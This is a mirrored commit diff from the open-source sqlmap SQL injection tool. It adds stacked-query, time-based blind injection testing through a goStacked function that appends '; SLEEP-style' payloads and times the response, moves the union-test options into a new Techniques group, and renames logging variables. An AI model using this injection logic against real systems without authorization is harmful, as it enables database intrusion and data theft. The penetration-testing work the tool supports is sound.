mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-25 19:13:48 +03:00
Initial implementation of support for stacked queries.
Added method to test for Time based blind SQL injection query stacking on the affected parameter a SLEEP() or similar DBMS specific function. Adapted libraries, plugins and XML with the above changes. Minor layout adjustments.
This commit is contained in:
parent
13f76cfe3b
commit
81ed7c2086
|
@ -68,7 +68,10 @@ def action():
|
||||||
|
|
||||||
print "back-end DBMS:\t%s\n" % conf.dbmsHandler.getFingerprint()
|
print "back-end DBMS:\t%s\n" % conf.dbmsHandler.getFingerprint()
|
||||||
|
|
||||||
# Miscellaneous options
|
# Techniques options
|
||||||
|
if conf.timeTest:
|
||||||
|
dumper.string("time based sql injection", conf.dbmsHandler.timeTest())
|
||||||
|
|
||||||
if conf.unionTest:
|
if conf.unionTest:
|
||||||
dumper.string("valid union", unionTest())
|
dumper.string("valid union", unionTest())
|
||||||
|
|
||||||
|
|
|
@ -95,7 +95,7 @@ class Agent:
|
||||||
else:
|
else:
|
||||||
raise sqlmapNoneDataException, "unsupported injection type"
|
raise sqlmapNoneDataException, "unsupported injection type"
|
||||||
|
|
||||||
if kb.parenthesis != None:
|
if kb.parenthesis not in ( None, 0 ):
|
||||||
query += "%s " % (")" * kb.parenthesis)
|
query += "%s " % (")" * kb.parenthesis)
|
||||||
|
|
||||||
query += string
|
query += string
|
||||||
|
@ -343,7 +343,7 @@ class Agent:
|
||||||
@rtype: C{str}
|
@rtype: C{str}
|
||||||
"""
|
"""
|
||||||
|
|
||||||
inbandQuery = self.prefixQuery("UNION ALL SELECT ")
|
inbandQuery = self.prefixQuery(" UNION ALL SELECT ")
|
||||||
|
|
||||||
if not exprPosition:
|
if not exprPosition:
|
||||||
exprPosition = kb.unionPosition
|
exprPosition = kb.unionPosition
|
||||||
|
|
|
@ -48,6 +48,12 @@ optDict = {
|
||||||
"dbms": "string",
|
"dbms": "string",
|
||||||
},
|
},
|
||||||
|
|
||||||
|
"Techniques": {
|
||||||
|
"timeTest": "boolean",
|
||||||
|
"unionTest": "boolean",
|
||||||
|
"unionUse": "boolean",
|
||||||
|
},
|
||||||
|
|
||||||
"Fingerprint": {
|
"Fingerprint": {
|
||||||
"extensiveFp": "boolean",
|
"extensiveFp": "boolean",
|
||||||
},
|
},
|
||||||
|
@ -85,8 +91,6 @@ optDict = {
|
||||||
},
|
},
|
||||||
|
|
||||||
"Miscellaneous": {
|
"Miscellaneous": {
|
||||||
"unionTest": "boolean",
|
|
||||||
"unionUse": "boolean",
|
|
||||||
"eta": "boolean",
|
"eta": "boolean",
|
||||||
"verbose": "integer",
|
"verbose": "integer",
|
||||||
"updateAll": "boolean",
|
"updateAll": "boolean",
|
||||||
|
|
|
@ -64,3 +64,5 @@ PGSQL_ALIASES = [ "postgresql", "postgres", "pgsql", "psql", "pg" ]
|
||||||
ORACLE_ALIASES = [ "oracle", "orcl", "ora", "or" ]
|
ORACLE_ALIASES = [ "oracle", "orcl", "ora", "or" ]
|
||||||
|
|
||||||
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES
|
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES
|
||||||
|
|
||||||
|
TIME_SECONDS = 5
|
||||||
|
|
|
@ -103,6 +103,27 @@ def cmdLineParser():
|
||||||
injection.add_option("--dbms", dest="dbms",
|
injection.add_option("--dbms", dest="dbms",
|
||||||
help="Force back-end DBMS to this value")
|
help="Force back-end DBMS to this value")
|
||||||
|
|
||||||
|
# Techniques options
|
||||||
|
techniques = OptionGroup(parser, "Techniques", "These options can "
|
||||||
|
"be used to test for specific SQL injection "
|
||||||
|
"technique or to use one of them to exploit "
|
||||||
|
"the affected parameter(s) rather than using "
|
||||||
|
"the default blind SQL injection technique.")
|
||||||
|
|
||||||
|
techniques.add_option("--time-test", dest="timeTest",
|
||||||
|
action="store_true",
|
||||||
|
help="Test for Time based blind SQL injection")
|
||||||
|
|
||||||
|
techniques.add_option("--union-test", dest="unionTest",
|
||||||
|
action="store_true",
|
||||||
|
help="Test for UNION SELECT (inband) SQL injection")
|
||||||
|
|
||||||
|
techniques.add_option("--union-use", dest="unionUse",
|
||||||
|
action="store_true",
|
||||||
|
help="Use the UNION SELECT (inband) SQL injection "
|
||||||
|
"to retrieve the queries output. No "
|
||||||
|
"need to go blind")
|
||||||
|
|
||||||
# Fingerprint options
|
# Fingerprint options
|
||||||
fingerprint = OptionGroup(parser, "Fingerprint")
|
fingerprint = OptionGroup(parser, "Fingerprint")
|
||||||
|
|
||||||
|
@ -215,16 +236,6 @@ def cmdLineParser():
|
||||||
# Miscellaneous options
|
# Miscellaneous options
|
||||||
miscellaneous = OptionGroup(parser, "Miscellaneous")
|
miscellaneous = OptionGroup(parser, "Miscellaneous")
|
||||||
|
|
||||||
miscellaneous.add_option("--union-test", dest="unionTest",
|
|
||||||
action="store_true",
|
|
||||||
help="Test for UNION SELECT (inband) SQL injection")
|
|
||||||
|
|
||||||
miscellaneous.add_option("--union-use", dest="unionUse",
|
|
||||||
action="store_true",
|
|
||||||
help="Use the UNION SELECT (inband) SQL injection "
|
|
||||||
"to retrieve the queries output. No "
|
|
||||||
"need to go blind")
|
|
||||||
|
|
||||||
miscellaneous.add_option("--eta", dest="eta", action="store_true",
|
miscellaneous.add_option("--eta", dest="eta", action="store_true",
|
||||||
help="Retrieve each query output length and "
|
help="Retrieve each query output length and "
|
||||||
"calculate the estimated time of arrival "
|
"calculate the estimated time of arrival "
|
||||||
|
@ -251,6 +262,7 @@ def cmdLineParser():
|
||||||
|
|
||||||
parser.add_option_group(request)
|
parser.add_option_group(request)
|
||||||
parser.add_option_group(injection)
|
parser.add_option_group(injection)
|
||||||
|
parser.add_option_group(techniques)
|
||||||
parser.add_option_group(fingerprint)
|
parser.add_option_group(fingerprint)
|
||||||
parser.add_option_group(enumeration)
|
parser.add_option_group(enumeration)
|
||||||
parser.add_option_group(filesystem)
|
parser.add_option_group(filesystem)
|
||||||
|
|
|
@ -95,6 +95,14 @@ class queriesHandler(ContentHandler):
|
||||||
data = sanitizeStr(attrs.get("query"))
|
data = sanitizeStr(attrs.get("query"))
|
||||||
self.__queries.count = data
|
self.__queries.count = data
|
||||||
|
|
||||||
|
elif name == "comment":
|
||||||
|
data = sanitizeStr(attrs.get("query"))
|
||||||
|
self.__queries.comment = data
|
||||||
|
|
||||||
|
elif name == "timedelay":
|
||||||
|
data = sanitizeStr(attrs.get("query"))
|
||||||
|
self.__queries.timedelay = data
|
||||||
|
|
||||||
elif name == "substring":
|
elif name == "substring":
|
||||||
data = sanitizeStr(attrs.get("query"))
|
data = sanitizeStr(attrs.get("query"))
|
||||||
self.__queries.substring = data
|
self.__queries.substring = data
|
||||||
|
|
|
@ -38,6 +38,8 @@ from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.data import queries
|
from lib.core.data import queries
|
||||||
from lib.core.data import temp
|
from lib.core.data import temp
|
||||||
|
from lib.core.settings import TIME_SECONDS
|
||||||
|
from lib.request.connect import Connect as Request
|
||||||
from lib.techniques.inband.union.use import unionUse
|
from lib.techniques.inband.union.use import unionUse
|
||||||
from lib.techniques.inference.blind import bisection
|
from lib.techniques.inference.blind import bisection
|
||||||
from lib.utils.resume import queryOutputLength
|
from lib.utils.resume import queryOutputLength
|
||||||
|
@ -53,7 +55,7 @@ def __getFieldsProxy(expression):
|
||||||
|
|
||||||
|
|
||||||
def __goInference(payload, expression):
|
def __goInference(payload, expression):
|
||||||
start = time.time()
|
start = time.time()
|
||||||
|
|
||||||
if ( conf.eta or conf.threads > 1 ) and kb.dbms:
|
if ( conf.eta or conf.threads > 1 ) and kb.dbms:
|
||||||
_, length, _ = queryOutputLength(expression, payload)
|
_, length, _ = queryOutputLength(expression, payload)
|
||||||
|
@ -100,7 +102,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
|
||||||
parameter through a bisection algorithm.
|
parameter through a bisection algorithm.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
query = agent.prefixQuery(temp.inference)
|
query = agent.prefixQuery(" %s" % temp.inference)
|
||||||
query = agent.postfixQuery(query)
|
query = agent.postfixQuery(query)
|
||||||
payload = agent.payload(newValue=query)
|
payload = agent.payload(newValue=query)
|
||||||
count = None
|
count = None
|
||||||
|
@ -379,3 +381,22 @@ def getValue(expression, blind=True, inband=True, fromUser=False, expected=None)
|
||||||
value = __goInferenceProxy(expression, fromUser, expected)
|
value = __goInferenceProxy(expression, fromUser, expected)
|
||||||
|
|
||||||
return value
|
return value
|
||||||
|
|
||||||
|
|
||||||
|
def goStacked(expression, timeTest=False):
|
||||||
|
"""
|
||||||
|
TODO: write description
|
||||||
|
"""
|
||||||
|
|
||||||
|
query = agent.prefixQuery("; %s" % expression)
|
||||||
|
query = agent.postfixQuery(query)
|
||||||
|
payload = agent.payload(newValue=query)
|
||||||
|
|
||||||
|
start = time.time()
|
||||||
|
Request.queryPage(payload)
|
||||||
|
duration = int(time.time() - start)
|
||||||
|
|
||||||
|
if timeTest:
|
||||||
|
return (duration >= TIME_SECONDS, payload)
|
||||||
|
else:
|
||||||
|
return duration >= TIME_SECONDS
|
||||||
|
|
|
@ -92,7 +92,7 @@ def unionTest():
|
||||||
|
|
||||||
value = ""
|
value = ""
|
||||||
|
|
||||||
query = agent.prefixQuery("UNION ALL SELECT NULL")
|
query = agent.prefixQuery(" UNION ALL SELECT NULL")
|
||||||
|
|
||||||
for comment in ("--", "#", "/*", ";", "%00"):
|
for comment in ("--", "#", "/*", ";", "%00"):
|
||||||
value = __effectiveUnionTest(query, comment)
|
value = __effectiveUnionTest(query, comment)
|
||||||
|
|
|
@ -128,7 +128,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||||
logMsg = "executing MySQL comment injection fingerprint"
|
logMsg = "executing MySQL comment injection fingerprint"
|
||||||
logger.info(logMsg)
|
logger.info(logMsg)
|
||||||
|
|
||||||
query = agent.prefixQuery("/* NoValue */")
|
query = agent.prefixQuery(" /* NoValue */")
|
||||||
query = agent.postfixQuery(query)
|
query = agent.postfixQuery(query)
|
||||||
payload = agent.payload(newValue=query)
|
payload = agent.payload(newValue=query)
|
||||||
result = Request.queryPage(payload)
|
result = Request.queryPage(payload)
|
||||||
|
@ -156,7 +156,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||||
for version in range(element[0], element[1] + 1):
|
for version in range(element[0], element[1] + 1):
|
||||||
randInt = randomInt()
|
randInt = randomInt()
|
||||||
version = str(version)
|
version = str(version)
|
||||||
query = agent.prefixQuery("/*!%s AND %d=%d*/" % (version, randInt, randInt + 1))
|
query = agent.prefixQuery(" /*!%s AND %d=%d*/" % (version, randInt, randInt + 1))
|
||||||
query = agent.postfixQuery(query)
|
query = agent.postfixQuery(query)
|
||||||
payload = agent.payload(newValue=query)
|
payload = agent.payload(newValue=query)
|
||||||
result = Request.queryPage(payload)
|
result = Request.queryPage(payload)
|
||||||
|
@ -285,10 +285,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||||
# Or if it is MySQL >= 5.0.0 and < 5.1.2
|
# Or if it is MySQL >= 5.0.0 and < 5.1.2
|
||||||
elif inject.getValue("MID(@@hostname, 1, 1)"):
|
elif inject.getValue("MID(@@hostname, 1, 1)"):
|
||||||
kb.dbmsVersion = [">= 5.0.38", "< 5.1.2"]
|
kb.dbmsVersion = [">= 5.0.38", "< 5.1.2"]
|
||||||
# NOTE: MySQL 5.0.12 introduced SLEEP() function
|
|
||||||
# References:
|
|
||||||
# * http://dev.mysql.com/doc/refman/5.0/en/news-5-0-12.html
|
|
||||||
# * http://dev.mysql.com/doc/refman/5.0/en/miscellaneous-functions.html#function_sleep
|
|
||||||
elif inject.getValue("SELECT 1 FROM DUAL") == "1":
|
elif inject.getValue("SELECT 1 FROM DUAL") == "1":
|
||||||
kb.dbmsVersion = [">= 5.0.11", "< 5.0.38"]
|
kb.dbmsVersion = [">= 5.0.11", "< 5.0.38"]
|
||||||
elif inject.getValue("DATABASE() LIKE SCHEMA()"):
|
elif inject.getValue("DATABASE() LIKE SCHEMA()"):
|
||||||
|
@ -424,7 +420,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||||
query = " LIMIT 1 INTO OUTFILE '%s/%s' " % (directory, uploaderName)
|
query = " LIMIT 1 INTO OUTFILE '%s/%s' " % (directory, uploaderName)
|
||||||
query += "LINES TERMINATED BY '\\n%s\\n'--" % uploaderQuery
|
query += "LINES TERMINATED BY '\\n%s\\n'--" % uploaderQuery
|
||||||
|
|
||||||
query = agent.prefixQuery(query)
|
query = agent.prefixQuery(" %s" % query)
|
||||||
query = agent.postfixQuery(query)
|
query = agent.postfixQuery(query)
|
||||||
|
|
||||||
payload = agent.payload(newValue=query)
|
payload = agent.payload(newValue=query)
|
||||||
|
|
|
@ -39,6 +39,7 @@ from lib.core.exception import sqlmapMissingMandatoryOptionException
|
||||||
from lib.core.exception import sqlmapNoneDataException
|
from lib.core.exception import sqlmapNoneDataException
|
||||||
from lib.core.exception import sqlmapUndefinedMethod
|
from lib.core.exception import sqlmapUndefinedMethod
|
||||||
from lib.core.exception import sqlmapUnsupportedFeatureException
|
from lib.core.exception import sqlmapUnsupportedFeatureException
|
||||||
|
from lib.core.settings import TIME_SECONDS
|
||||||
from lib.core.shell import autoCompletion
|
from lib.core.shell import autoCompletion
|
||||||
from lib.core.unescaper import unescaper
|
from lib.core.unescaper import unescaper
|
||||||
from lib.request import inject
|
from lib.request import inject
|
||||||
|
@ -68,13 +69,34 @@ class Enumeration:
|
||||||
temp.inference = queries[dbms].inference
|
temp.inference = queries[dbms].inference
|
||||||
|
|
||||||
|
|
||||||
|
# TODO: move this function to an appropriate file
|
||||||
|
def timeTest(self):
|
||||||
|
infoMsg = "testing time based blind sql injection on parameter "
|
||||||
|
infoMsg += "'%s'" % kb.injParameter
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
# TODO: probably the '; <COMMENT>' will be filled in in all
|
||||||
|
# future time based SQL injection attacks at the end of the
|
||||||
|
# stacked query. Find a way that goStacked() function itself
|
||||||
|
# append it.
|
||||||
|
query = "%s; " % queries[kb.dbms].timedelay % TIME_SECONDS
|
||||||
|
query += queries[kb.dbms].comment
|
||||||
|
|
||||||
|
self.timeTest = inject.goStacked(query, timeTest=True)
|
||||||
|
|
||||||
|
if self.timeTest[0] == True:
|
||||||
|
return "True, verified with payload: %s" % self.timeTest[1]
|
||||||
|
else:
|
||||||
|
return "False"
|
||||||
|
|
||||||
|
|
||||||
def forceDbmsEnum(self):
|
def forceDbmsEnum(self):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
def getBanner(self):
|
def getBanner(self):
|
||||||
logMsg = "fetching banner"
|
infoMsg = "fetching banner"
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
query = queries[kb.dbms].banner
|
query = queries[kb.dbms].banner
|
||||||
|
|
||||||
|
@ -85,8 +107,8 @@ class Enumeration:
|
||||||
|
|
||||||
|
|
||||||
def getCurrentUser(self):
|
def getCurrentUser(self):
|
||||||
logMsg = "fetching current user"
|
infoMsg = "fetching current user"
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
query = queries[kb.dbms].currentUser
|
query = queries[kb.dbms].currentUser
|
||||||
|
|
||||||
|
@ -97,8 +119,8 @@ class Enumeration:
|
||||||
|
|
||||||
|
|
||||||
def getCurrentDb(self):
|
def getCurrentDb(self):
|
||||||
logMsg = "fetching current database"
|
infoMsg = "fetching current database"
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
query = queries[kb.dbms].currentDb
|
query = queries[kb.dbms].currentDb
|
||||||
|
|
||||||
|
@ -109,8 +131,8 @@ class Enumeration:
|
||||||
|
|
||||||
|
|
||||||
def getUsers(self):
|
def getUsers(self):
|
||||||
logMsg = "fetching database users"
|
infoMsg = "fetching database users"
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
rootQuery = queries[kb.dbms].users
|
rootQuery = queries[kb.dbms].users
|
||||||
|
|
||||||
|
@ -128,8 +150,8 @@ class Enumeration:
|
||||||
self.cachedUsers = value
|
self.cachedUsers = value
|
||||||
|
|
||||||
if not self.cachedUsers:
|
if not self.cachedUsers:
|
||||||
logMsg = "fetching number of database users"
|
infoMsg = "fetching number of database users"
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
if condition:
|
if condition:
|
||||||
query = rootQuery["blind"]["count2"]
|
query = rootQuery["blind"]["count2"]
|
||||||
|
@ -161,8 +183,8 @@ class Enumeration:
|
||||||
|
|
||||||
|
|
||||||
def getPasswordHashes(self):
|
def getPasswordHashes(self):
|
||||||
logMsg = "fetching database users password hashes"
|
infoMsg = "fetching database users password hashes"
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
rootQuery = queries[kb.dbms].passwords
|
rootQuery = queries[kb.dbms].passwords
|
||||||
|
|
||||||
|
@ -220,9 +242,9 @@ class Enumeration:
|
||||||
if user in retrievedUsers:
|
if user in retrievedUsers:
|
||||||
continue
|
continue
|
||||||
|
|
||||||
logMsg = "fetching number of password hashes "
|
infoMsg = "fetching number of password hashes "
|
||||||
logMsg += "for user '%s'" % user
|
infoMsg += "for user '%s'" % user
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
if kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
|
if kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
|
||||||
query = rootQuery["blind"]["count2"] % user
|
query = rootQuery["blind"]["count2"] % user
|
||||||
|
@ -236,8 +258,8 @@ class Enumeration:
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
continue
|
continue
|
||||||
|
|
||||||
logMsg = "fetching password hashes for user '%s'" % user
|
infoMsg = "fetching password hashes for user '%s'" % user
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
passwords = []
|
passwords = []
|
||||||
indexRange = getRange(count)
|
indexRange = getRange(count)
|
||||||
|
@ -292,8 +314,8 @@ class Enumeration:
|
||||||
|
|
||||||
|
|
||||||
def getPrivileges(self):
|
def getPrivileges(self):
|
||||||
logMsg = "fetching database users privileges"
|
infoMsg = "fetching database users privileges"
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
rootQuery = queries[kb.dbms].privileges
|
rootQuery = queries[kb.dbms].privileges
|
||||||
|
|
||||||
|
@ -443,9 +465,9 @@ class Enumeration:
|
||||||
if user in retrievedUsers:
|
if user in retrievedUsers:
|
||||||
continue
|
continue
|
||||||
|
|
||||||
logMsg = "fetching number of privileges "
|
infoMsg = "fetching number of privileges "
|
||||||
logMsg += "for user '%s'" % user
|
infoMsg += "for user '%s'" % user
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
if unescapedUser:
|
if unescapedUser:
|
||||||
queryUser = unescapedUser
|
queryUser = unescapedUser
|
||||||
|
@ -466,8 +488,8 @@ class Enumeration:
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
continue
|
continue
|
||||||
|
|
||||||
logMsg = "fetching privileges for user '%s'" % user
|
infoMsg = "fetching privileges for user '%s'" % user
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
privileges = set()
|
privileges = set()
|
||||||
indexRange = getRange(count)
|
indexRange = getRange(count)
|
||||||
|
@ -549,8 +571,8 @@ class Enumeration:
|
||||||
warnMsg += "names will be fetched from 'mysql' database"
|
warnMsg += "names will be fetched from 'mysql' database"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
logMsg = "fetching database names"
|
infoMsg = "fetching database names"
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
rootQuery = queries[kb.dbms].dbs
|
rootQuery = queries[kb.dbms].dbs
|
||||||
|
|
||||||
|
@ -565,8 +587,8 @@ class Enumeration:
|
||||||
self.cachedDbs = value
|
self.cachedDbs = value
|
||||||
|
|
||||||
if not self.cachedDbs:
|
if not self.cachedDbs:
|
||||||
logMsg = "fetching number of databases"
|
infoMsg = "fetching number of databases"
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
if kb.dbms == "MySQL" and not self.has_information_schema:
|
if kb.dbms == "MySQL" and not self.has_information_schema:
|
||||||
query = rootQuery["blind"]["count2"]
|
query = rootQuery["blind"]["count2"]
|
||||||
|
@ -605,10 +627,10 @@ class Enumeration:
|
||||||
|
|
||||||
self.forceDbmsEnum()
|
self.forceDbmsEnum()
|
||||||
|
|
||||||
logMsg = "fetching tables"
|
infoMsg = "fetching tables"
|
||||||
if conf.db:
|
if conf.db:
|
||||||
logMsg += " for database '%s'" % conf.db
|
infoMsg += " for database '%s'" % conf.db
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
rootQuery = queries[kb.dbms].tables
|
rootQuery = queries[kb.dbms].tables
|
||||||
|
|
||||||
|
@ -626,8 +648,8 @@ class Enumeration:
|
||||||
elif conf.excludeSysDbs:
|
elif conf.excludeSysDbs:
|
||||||
query += " WHERE "
|
query += " WHERE "
|
||||||
query += " AND ".join("%s != '%s'" % (condition, db) for db in self.excludeDbsList)
|
query += " AND ".join("%s != '%s'" % (condition, db) for db in self.excludeDbsList)
|
||||||
logMsg = "skipping system databases '%s'" % ", ".join(db for db in self.excludeDbsList)
|
infoMsg = "skipping system databases '%s'" % ", ".join(db for db in self.excludeDbsList)
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
value = inject.getValue(query, blind=False)
|
value = inject.getValue(query, blind=False)
|
||||||
|
|
||||||
|
@ -652,14 +674,14 @@ class Enumeration:
|
||||||
|
|
||||||
for db in dbs:
|
for db in dbs:
|
||||||
if conf.excludeSysDbs and db in self.excludeDbsList:
|
if conf.excludeSysDbs and db in self.excludeDbsList:
|
||||||
logMsg = "skipping system database '%s'" % db
|
infoMsg = "skipping system database '%s'" % db
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
continue
|
continue
|
||||||
|
|
||||||
logMsg = "fetching number of tables for "
|
infoMsg = "fetching number of tables for "
|
||||||
logMsg += "database '%s'" % db
|
infoMsg += "database '%s'" % db
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
query = rootQuery["blind"]["count"] % db
|
query = rootQuery["blind"]["count"] % db
|
||||||
count = inject.getValue(query, inband=False, expected="int")
|
count = inject.getValue(query, inband=False, expected="int")
|
||||||
|
@ -711,10 +733,10 @@ class Enumeration:
|
||||||
errMsg = "missing database parameter"
|
errMsg = "missing database parameter"
|
||||||
raise sqlmapMissingMandatoryOptionException, errMsg
|
raise sqlmapMissingMandatoryOptionException, errMsg
|
||||||
|
|
||||||
logMsg = "fetching columns "
|
infoMsg = "fetching columns "
|
||||||
logMsg += "for table '%s' " % conf.tbl
|
infoMsg += "for table '%s' " % conf.tbl
|
||||||
logMsg += "on database '%s'" % conf.db
|
infoMsg += "on database '%s'" % conf.db
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
rootQuery = queries[kb.dbms].columns
|
rootQuery = queries[kb.dbms].columns
|
||||||
|
|
||||||
|
@ -744,10 +766,10 @@ class Enumeration:
|
||||||
self.cachedColumns[conf.db] = table
|
self.cachedColumns[conf.db] = table
|
||||||
|
|
||||||
if not self.cachedColumns:
|
if not self.cachedColumns:
|
||||||
logMsg = "fetching number of columns "
|
infoMsg = "fetching number of columns "
|
||||||
logMsg += "for table '%s'" % conf.tbl
|
infoMsg += "for table '%s'" % conf.tbl
|
||||||
logMsg += " on database '%s'" % conf.db
|
infoMsg += " on database '%s'" % conf.db
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||||
query = rootQuery["blind"]["count"] % (conf.tbl, conf.db)
|
query = rootQuery["blind"]["count"] % (conf.tbl, conf.db)
|
||||||
|
@ -841,12 +863,12 @@ class Enumeration:
|
||||||
colList.sort(key=lambda x: x.lower())
|
colList.sort(key=lambda x: x.lower())
|
||||||
colString = ", ".join(column for column in colList)
|
colString = ", ".join(column for column in colList)
|
||||||
|
|
||||||
logMsg = "fetching"
|
infoMsg = "fetching"
|
||||||
if conf.col:
|
if conf.col:
|
||||||
logMsg += " columns '%s'" % colString
|
infoMsg += " columns '%s'" % colString
|
||||||
logMsg += " entries for table '%s'" % conf.tbl
|
infoMsg += " entries for table '%s'" % conf.tbl
|
||||||
logMsg += " on database '%s'" % conf.db
|
infoMsg += " on database '%s'" % conf.db
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
if conf.unionUse:
|
if conf.unionUse:
|
||||||
if kb.dbms == "Oracle":
|
if kb.dbms == "Oracle":
|
||||||
|
@ -893,12 +915,12 @@ class Enumeration:
|
||||||
warnMsg += "blind to confirm"
|
warnMsg += "blind to confirm"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
logMsg = "fetching number of "
|
infoMsg = "fetching number of "
|
||||||
if conf.col:
|
if conf.col:
|
||||||
logMsg += "columns '%s' " % colString
|
infoMsg += "columns '%s' " % colString
|
||||||
logMsg += "entries for table '%s' " % conf.tbl
|
infoMsg += "entries for table '%s' " % conf.tbl
|
||||||
logMsg += "on database '%s'" % conf.db
|
infoMsg += "on database '%s'" % conf.db
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
if kb.dbms == "Oracle":
|
if kb.dbms == "Oracle":
|
||||||
query = rootQuery["blind"]["count"] % conf.tbl.upper()
|
query = rootQuery["blind"]["count"] % conf.tbl.upper()
|
||||||
|
@ -1011,8 +1033,8 @@ class Enumeration:
|
||||||
|
|
||||||
|
|
||||||
def sqlQuery(self, query):
|
def sqlQuery(self, query):
|
||||||
logMsg = "fetching SQL SELECT query output: '%s'" % query
|
infoMsg = "fetching SQL SELECT query output: '%s'" % query
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
if query.startswith("select "):
|
if query.startswith("select "):
|
||||||
query = query.replace("select ", "SELECT ", 1)
|
query = query.replace("select ", "SELECT ", 1)
|
||||||
|
@ -1029,9 +1051,9 @@ class Enumeration:
|
||||||
|
|
||||||
|
|
||||||
def sqlShell(self):
|
def sqlShell(self):
|
||||||
logMsg = "calling %s shell. To quit type " % kb.dbms
|
infoMsg = "calling %s shell. To quit type " % kb.dbms
|
||||||
logMsg += "'x' or 'q' and press ENTER"
|
infoMsg += "'x' or 'q' and press ENTER"
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
autoCompletion(sqlShell=True)
|
autoCompletion(sqlShell=True)
|
||||||
|
|
||||||
|
|
25
sqlmap.conf
25
sqlmap.conf
|
@ -82,6 +82,22 @@ string =
|
||||||
dbms =
|
dbms =
|
||||||
|
|
||||||
|
|
||||||
|
[Techniques]
|
||||||
|
|
||||||
|
# Test for Time based blind SQL injection.
|
||||||
|
# Valid: True or False
|
||||||
|
timeTest = False
|
||||||
|
|
||||||
|
# Test for UNION SELECT (inband) SQL injection.
|
||||||
|
# Valid: True or False
|
||||||
|
unionTest = False
|
||||||
|
|
||||||
|
# Use the UNION SELECT (inband) SQL injection to retrieve the queries
|
||||||
|
# output. No need to go blind.
|
||||||
|
# Valid: True or False
|
||||||
|
unionUse = False
|
||||||
|
|
||||||
|
|
||||||
[Fingerprint]
|
[Fingerprint]
|
||||||
|
|
||||||
# Perform an extensive back-end database management system fingerprint
|
# Perform an extensive back-end database management system fingerprint
|
||||||
|
@ -197,15 +213,6 @@ osShell = False
|
||||||
|
|
||||||
[Miscellaneous]
|
[Miscellaneous]
|
||||||
|
|
||||||
# Test for UNION SELECT (inband) SQL injection.
|
|
||||||
# Valid: True or False
|
|
||||||
unionTest = False
|
|
||||||
|
|
||||||
# Use the UNION SELECT (inband) SQL injection to retrieve the queries
|
|
||||||
# output. No need to go blind.
|
|
||||||
# Valid: True or False
|
|
||||||
unionUse = False
|
|
||||||
|
|
||||||
# Retrieve each query output length and calculate the estimated time of
|
# Retrieve each query output length and calculate the estimated time of
|
||||||
# arrival in real time.
|
# arrival in real time.
|
||||||
# Valid: True or False
|
# Valid: True or False
|
||||||
|
|
|
@ -14,6 +14,15 @@
|
||||||
<limitstring query=" LIMIT "/>
|
<limitstring query=" LIMIT "/>
|
||||||
<order query="ORDER BY %s ASC"/>
|
<order query="ORDER BY %s ASC"/>
|
||||||
<count query="COUNT(%s)"/>
|
<count query="COUNT(%s)"/>
|
||||||
|
<comment query="#" query2="/*"/>
|
||||||
|
<!--
|
||||||
|
NOTE: In PHP the mysql_query() function does not permit query stacking, or executing multiple queries in a single function call.
|
||||||
|
MySQL 5.0.12 introduced SLEEP() function
|
||||||
|
References:
|
||||||
|
* http://dev.mysql.com/doc/refman/5.0/en/news-5-0-12.html
|
||||||
|
* http://dev.mysql.com/doc/refman/5.0/en/miscellaneous-functions.html#function_sleep
|
||||||
|
-->
|
